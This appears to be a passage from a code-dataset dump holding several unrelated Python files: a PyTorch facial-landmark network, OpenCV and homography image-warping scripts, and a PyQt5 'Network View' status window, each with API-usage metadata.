#print(len(askip))\n x = self.dilatedConv[i](x)\n skipp = askip.pop()\n #print('skipp', skipp.shape)\n #print('xx',x.shape)\n x = torch.cat((skipp,x),1)\n #print('xxx',x.shape)\n #x = self.convv(x)\n \n x = self.convv1(x)\n #print(\"X.out\", x.shape)\n #print(x.shape, o_main.shape)\n o = x + o_main\n\n \n\n return [o]\n\n\ndef FCDenseNet57(n_classes):\n return FCDenseNet(\n in_channels=3, down_blocks=(4, 4, 4, 4, 4),\n up_blocks=(4, 4, 4, 4, 4), bottleneck_layers=4,\n growth_rate=12, out_chans_first_conv=48, n_classes=n_classes)\n\ndef FCDenseNet67(n_classes):\n return FCDenseNet(\n in_channels=3, down_blocks=(5, 5, 5, 5, 5),\n up_blocks=(5, 5, 5, 5, 5), bottleneck_layers=5,\n growth_rate=16, out_chans_first_conv=48, n_classes=n_classes)\n\n\ndef FCDenseNet103(n_classes):\n return FCDenseNet(\n in_channels=3, down_blocks=(4,5,7,10,12),\n up_blocks=(12,10,7,5,4), bottleneck_layers=15,\n growth_rate=16, out_chans_first_conv=48, n_classes=n_classes)\n\n\n\n", "repo_name": "seyhachim/Dilated-Skip-Convolution-for-facial-landmark-detection", "sub_path": "models/DCN.py", "file_name": "DCN.py", "file_ext": "py", "file_size_in_byte": 7206, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.nn.Module", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 55, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 110, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 115, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 117, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 118, "usage_type": "name"}, {"api_name": "utils.imutils.gaussian", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 145, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 145, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 158, "usage_type": "call"}]} +{"seq_id": "14915538446", "text": "import cv2\nimport cv2.cv as cv\nimport numpy as np\n\ncv2.namedWindow(\"out\",cv.CV_WINDOW_NORMAL)\ni1 = cv2.imread(\"img-0.png\")\ni2 = cv2.imread(\"img-1.png\")\n\no1 = cv2.resize(i1, (480,640))\no2 = cv2.resize(i2, (480,640))\n\n# rotate\ndef rotateImage(image, angle):\n center=tuple(np.array(image.shape[0:2])/2)\n rot_mat = cv2.getRotationMatrix2D(center,angle,1.0)\n return cv2.warpAffine(image, rot_mat, image.shape[0:2],flags=cv2.INTER_LINEAR)\n\ncv2.imshow(\"out\", rotateImage(o1, 11))\n\n", "repo_name": "nsfw/stereobooth", "sub_path": "align.py", "file_name": "align.py", "file_ext": "py", "file_size_in_byte": 483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "cv2.namedWindow", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.cv.CV_WINDOW_NORMAL", "line_number": 5, "usage_type": "attribute"}, {"api_name": "cv2.cv", "line_number": 5, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 16, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "32371058804", "text": "import numpy as np\nimport matplotlib.pyplot as plt \nimport matplotlib.image as mpimage\nimport warp \nimport time\n\ndef main():\n\t'''Test the warp function in module warp.py '''\n\n\t# load images\n\timg_dest = mpimage.imread('./images/image2.JPG')\n\timg_logo = mpimage.imread('./images/google_logo.jpg')\n\n\t# load points\n\tpoints_image = np.load('./images/points_image.npy')\n\tpoints_logo = np.load('./images/points_logo.npy')\n\n\t# find homography\n\tH = warp.estimate_homography(points_logo, points_image)\n\n\t# warping\n\tvideo_copy = warp.inverse_warp(img_logo, img_dest, H, points_image)\n\n\t# show the output\n\tplt.subplot(131)\n\tplt.imshow(img_dest); plt.axis('off')\n\tplt.title('Destination')\n\tplt.subplot(132)\n\tplt.imshow(img_logo); plt.axis('off')\n\tplt.title('Source')\n\tplt.subplot(133)\n\tplt.imshow(video_copy); plt.axis('off')\n\tplt.title('Projected source onto Destination')\n\tplt.show()\n\nif __name__ == '__main__':\n\tmain()", "repo_name": "akshaychawla/Image-Projection", "sub_path": "test_warp.py", "file_name": "test_warp.py", "file_ext": "py", "file_size_in_byte": 908, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matplotlib.image.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.image.imread", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 16, "usage_type": "call"}, {"api_name": "warp.estimate_homography", "line_number": 19, "usage_type": "call"}, {"api_name": "warp.inverse_warp", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]} +{"seq_id": "71519288924", "text": "from PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom info import Ui_Form\r\n\r\nclass Ui_MainWindow(object):\r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n MainWindow.setWindowModality(QtCore.Qt.NonModal)\r\n MainWindow.resize(480, 641)\r\n MainWindow.setMaximumSize(QtCore.QSize(500, 700))\r\n MainWindow.setSizeIncrement(QtCore.QSize(5, 0))\r\n MainWindow.setContextMenuPolicy(QtCore.Qt.NoContextMenu)\r\n\r\n MainWindow.setTabShape(QtWidgets.QTabWidget.Rounded)\r\n # MainWindow.setWindowFlag(QtCore.Qt.FramelessWindowHint)\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setMinimumSize(QtCore.QSize(480, 630))\r\n self.centralwidget.setMaximumSize(QtCore.QSize(482, 641))\r\n self.centralwidget.setStyleSheet(\"QWidget{\\n\"\r\n\" opacity: 0;\\n\"\r\n\" border-radius: 30px;\\n\"\r\n\"}\")\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.verticalLayout = QtWidgets.QVBoxLayout(self.centralwidget)\r\n self.verticalLayout.setContentsMargins(0, 0, 0, 0)\r\n self.verticalLayout.setSpacing(0)\r\n self.verticalLayout.setObjectName(\"verticalLayout\")\r\n self.frame = QtWidgets.QFrame(self.centralwidget)\r\n self.frame.setMinimumSize(QtCore.QSize(480, 630))\r\n self.frame.setMaximumSize(QtCore.QSize(482, 641))\r\n self.frame.setStyleSheet(\"QFrame{\\n\"\r\n\" background: rgba(0, 128, 0, 0.3);\\n\"\r\n\" border-radius: 10px;\\n\"\r\n\"}\")\r\n self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)\r\n self.frame.setFrameShadow(QtWidgets.QFrame.Raised)\r\n self.frame.setObjectName(\"frame\")\r\n self.frame_2 = QtWidgets.QFrame(self.frame)\r\n self.frame_2.setGeometry(QtCore.QRect(50, 50, 381, 101))\r\n self.frame_2.setStyleSheet(\"QFrame{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel)\r\n self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised)\r\n self.frame_2.setObjectName(\"frame_2\")\r\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.frame_2)\r\n self.horizontalLayout.setSpacing(50)\r\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\r\n self.label = QtWidgets.QLabel(self.frame_2)\r\n self.label.setStyleSheet(\"#label:before{\\n\"\r\n\" background: transparent;\\n\"\r\n\" border: 3px white;\\n\"\r\n\"}\\n\"\r\n\"#label:hover{\\n\"\r\n\" background-color: grey;\\n\"\r\n\" border: 20px white;\\n\"\r\n\"}\")\r\n self.label.setText(\"\")\r\n self.label.setPixmap(QtGui.QPixmap(\":/add/desktop.png\"))\r\n self.label.setScaledContents(True)\r\n self.label.setAlignment(QtCore.Qt.AlignCenter)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\r\n sizePolicy.setHorizontalStretch(50)\r\n sizePolicy.setVerticalStretch(50)\r\n sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth())\r\n self.label.setProperty(\"Expand\", sizePolicy)\r\n self.label.setObjectName(\"label\")\r\n self.horizontalLayout.addWidget(self.label)\r\n self.label_2 = QtWidgets.QLabel(self.frame_2)\r\n self.label_2.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"#label_2:before{\\n\"\r\n\" background: transparent;\\n\"\r\n\" border: 3px white;\\n\"\r\n\"}\\n\"\r\n\"#label_2:hover{\\n\"\r\n\" background-color: grey;\\n\"\r\n\" border: 20px white;\\n\"\r\n\"}\")\r\n self.label_2.setText(\"\")\r\n self.label_2.setPixmap(QtGui.QPixmap(\":/add/desktop.png\"))\r\n self.label_2.setScaledContents(True)\r\n self.label_2.setAlignment(QtCore.Qt.AlignCenter)\r\n self.label_2.setObjectName(\"label_2\")\r\n self.horizontalLayout.addWidget(self.label_2)\r\n self.label_3 = QtWidgets.QLabel(self.frame_2)\r\n self.label_3.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\\n\"\r\n\"#label_3:before{\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" border: 3px white;\\n\"\r\n\"}\\n\"\r\n\"#label_3:hover{\\n\"\r\n\" background-color: grey;\\n\"\r\n\" border: 20px white;\\n\"\r\n\"}\")\r\n self.label_3.setText(\"\")\r\n self.label_3.setPixmap(QtGui.QPixmap(\":/add/desktop.png\"))\r\n self.label_3.setScaledContents(True)\r\n self.label_3.setAlignment(QtCore.Qt.AlignCenter)\r\n self.label_3.setObjectName(\"label_3\")\r\n self.horizontalLayout.addWidget(self.label_3)\r\n self.frame_3 = QtWidgets.QFrame(self.frame)\r\n self.frame_3.setGeometry(QtCore.QRect(50, 300, 381, 101))\r\n self.frame_3.setStyleSheet(\"QFrame{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel)\r\n self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised)\r\n self.frame_3.setObjectName(\"frame_3\")\r\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.frame_3)\r\n self.horizontalLayout_3.setSpacing(50)\r\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\r\n self.label_7 = QtWidgets.QLabel(self.frame_3)\r\n self.label_7.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\\n\"\r\n\"#label_7:before{\\n\"\r\n\" background: transparent;\\n\"\r\n\" border: 3px white;\\n\"\r\n\"}\\n\"\r\n\"#label_7:hover{\\n\"\r\n\" background-color: grey;\\n\"\r\n\" border: 20px white;\\n\"\r\n\"}\")\r\n self.label_7.setText(\"\")\r\n self.label_7.setPixmap(QtGui.QPixmap(\":/add/desktop.png\"))\r\n self.label_7.setScaledContents(True)\r\n self.label_7.setAlignment(QtCore.Qt.AlignCenter)\r\n self.label_7.setObjectName(\"label_7\")\r\n self.horizontalLayout_3.addWidget(self.label_7)\r\n self.label_8 = QtWidgets.QLabel(self.frame_3)\r\n self.label_8.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\\n\"\r\n\"#label_8:before{\\n\"\r\n\" background: transparent;\\n\"\r\n\" border: 3px white;\\n\"\r\n\"}\\n\"\r\n\"#label_8:hover{\\n\"\r\n\" background-color: grey;\\n\"\r\n\" border: 20px white;\\n\"\r\n\"}\")\r\n self.label_8.setText(\"\")\r\n self.label_8.setPixmap(QtGui.QPixmap(\":/add/desktop.png\"))\r\n self.label_8.setScaledContents(True)\r\n self.label_8.setAlignment(QtCore.Qt.AlignCenter)\r\n self.label_8.setObjectName(\"label_8\")\r\n self.horizontalLayout_3.addWidget(self.label_8)\r\n self.label_9 = QtWidgets.QLabel(self.frame_3)\r\n self.label_9.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"#label_9:before{\\n\"\r\n\" background: transparent;\\n\"\r\n\" border: 3px white;\\n\"\r\n\"}\\n\"\r\n\"#label_9:hover{\\n\"\r\n\" background-color: grey;\\n\"\r\n\" border: 20px white;\\n\"\r\n\"}\")\r\n self.label_9.setText(\"\")\r\n self.label_9.setPixmap(QtGui.QPixmap(\":/add/desktop.png\"))\r\n self.label_9.setScaledContents(True)\r\n self.label_9.setAlignment(QtCore.Qt.AlignCenter)\r\n self.label_9.setObjectName(\"label_9\")\r\n self.horizontalLayout_3.addWidget(self.label_9)\r\n self.label_10 = QtWidgets.QLabel(self.frame)\r\n self.label_10.setGeometry(QtCore.QRect(-260, 210, 1131, 41))\r\n self.label_10.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_10.setText(\"\")\r\n self.label_10.setPixmap(QtGui.QPixmap(\":/add/minus (2).png\"))\r\n self.label_10.setScaledContents(True)\r\n self.label_10.setObjectName(\"label_10\")\r\n self.label_12 = QtWidgets.QLabel(self.frame)\r\n self.label_12.setGeometry(QtCore.QRect(70, 150, 61, 71))\r\n self.label_12.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_12.setText(\"\")\r\n self.label_12.setPixmap(QtGui.QPixmap(\":/add/ethernet.png\"))\r\n self.label_12.setScaledContents(True)\r\n self.label_12.setObjectName(\"label_12\")\r\n self.label_13 = QtWidgets.QLabel(self.frame)\r\n self.label_13.setGeometry(QtCore.QRect(210, 150, 61, 71))\r\n self.label_13.setLayoutDirection(QtCore.Qt.LeftToRight)\r\n self.label_13.setAutoFillBackground(False)\r\n self.label_13.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_13.setText(\"\")\r\n self.label_13.setPixmap(QtGui.QPixmap(\":/add/ethernet.png\"))\r\n self.label_13.setScaledContents(True)\r\n self.label_13.setObjectName(\"label_13\")\r\n self.label_14 = QtWidgets.QLabel(self.frame)\r\n self.label_14.setGeometry(QtCore.QRect(350, 150, 61, 71))\r\n self.label_14.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_14.setText(\"\")\r\n self.label_14.setPixmap(QtGui.QPixmap(\":/add/ethernet.png\"))\r\n self.label_14.setScaledContents(True)\r\n self.label_14.setObjectName(\"label_14\")\r\n self.label_15 = QtWidgets.QLabel(self.frame)\r\n self.label_15.setGeometry(QtCore.QRect(210, 240, 61, 61))\r\n self.label_15.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_15.setText(\"\")\r\n self.label_15.setPixmap(QtGui.QPixmap(\":/add/ethernet_2.png\"))\r\n self.label_15.setScaledContents(True)\r\n self.label_15.setObjectName(\"label_15\")\r\n self.label_16 = QtWidgets.QLabel(self.frame)\r\n self.label_16.setGeometry(QtCore.QRect(350, 240, 61, 61))\r\n self.label_16.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_16.setText(\"\")\r\n self.label_16.setPixmap(QtGui.QPixmap(\":/add/ethernet_2.png\"))\r\n self.label_16.setScaledContents(True)\r\n self.label_16.setObjectName(\"label_16\")\r\n self.label_17 = QtWidgets.QLabel(self.frame)\r\n self.label_17.setGeometry(QtCore.QRect(70, 240, 61, 61))\r\n self.label_17.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_17.setText(\"\")\r\n self.label_17.setPixmap(QtGui.QPixmap(\":/add/ethernet_2.png\"))\r\n self.label_17.setScaledContents(True)\r\n self.label_17.setObjectName(\"label_17\")\r\n self.frame_4 = QtWidgets.QFrame(self.frame)\r\n self.frame_4.setGeometry(QtCore.QRect(40, 430, 391, 151))\r\n self.frame_4.setStyleSheet(\"QFrame{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel)\r\n self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised)\r\n self.frame_4.setObjectName(\"frame_4\")\r\n self.label_11 = QtWidgets.QLabel(self.frame_4)\r\n self.label_11.setGeometry(QtCore.QRect(10, 10, 321, 35))\r\n self.label_11.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_11.setObjectName(\"label_11\")\r\n self.label_18 = QtWidgets.QLabel(self.frame_4)\r\n self.label_18.setGeometry(QtCore.QRect(10, 50, 211, 35))\r\n self.label_18.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_18.setObjectName(\"label_18\")\r\n self.label_19 = QtWidgets.QLabel(self.frame_4)\r\n self.label_19.setGeometry(QtCore.QRect(10, 90, 181, 35))\r\n self.label_19.setStyleSheet(\"QLabel{\\n\"\r\n\" background: transparent;\\n\"\r\n\"}\")\r\n self.label_19.setObjectName(\"label_19\")\r\n self.pushButton = QtWidgets.QPushButton(self.frame)\r\n self.pushButton.setGeometry(QtCore.QRect(180, 600, 111, 31))\r\n self.pushButton.setStyleSheet(\"QPushButton{\\n\"\r\n\" background-color: red;\\n\"\r\n\" border-radius: 5px;\\n\"\r\n\" color: white;\\n\"\r\n\"}\\n\"\r\n\"#pushButton:before{\\n\"\r\n\" background-color: red;\\n\"\r\n\"}\\n\"\r\n\"#pushButton:hover{\\n\"\r\n\" background-color: green;\\n\"\r\n\"}\")\r\n self.pushButton.setObjectName(\"pushButton\")\r\n self.verticalLayout.addWidget(self.frame)\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n \r\n\r\n \r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"Network View\"))\r\n self.label_11.setText(_translate(\"MainWindow\", \"

    Состояние системы: OK

    \"))\r\n self.label_18.setText(_translate(\"MainWindow\", \"

    Подключено: 6

    \"))\r\n self.label_19.setText(_translate(\"MainWindow\", \"

    Ошибки: 0

    \"))\r\n self.pushButton.setText(_translate(\"MainWindow\", \"Закрыть\"))\r\nimport res\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n MainWindow = QtWidgets.QMainWindow()\r\n ui = Ui_MainWindow()\r\n ui.setupUi(MainWindow)\r\n MainWindow.show()\r\n sys.exit(app.exec_())\r\n", "repo_name": "zerostar019/GUI_diploma_work", "sub_path": "app_ui.py", "file_name": "app_ui.py", "file_ext": "py", "file_size_in_byte": 12997, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "PyQt5.QtCore.Qt", "line_number": 7, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 7, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 9, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 9, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 10, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 10, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 11, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 11, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTabWidget", "line_number": 13, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 13, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 15, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 15, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 16, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 16, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 17, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 17, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 23, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 23, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 28, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 28, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 29, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 34, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 34, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 35, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 35, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 37, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 37, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 38, "usage_type": "call"}, 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"name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 61, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 61, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 68, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 68, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 82, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 82, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 84, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 84, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 87, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 87, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 100, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 100, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 102, "usage_type": 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"line_number": 181, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 186, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 186, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 189, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 189, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 190, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 190, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 191, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 191, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 197, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 197, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 200, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 200, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 201, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 201, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 206, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 206, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 209, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 209, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 210, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 210, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 215, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 215, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 218, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 218, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 219, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 219, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 224, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 224, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 227, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 227, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 228, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 228, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 233, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 233, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 236, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 236, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 237, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 237, "usage_type": "name"}, {"api_name": 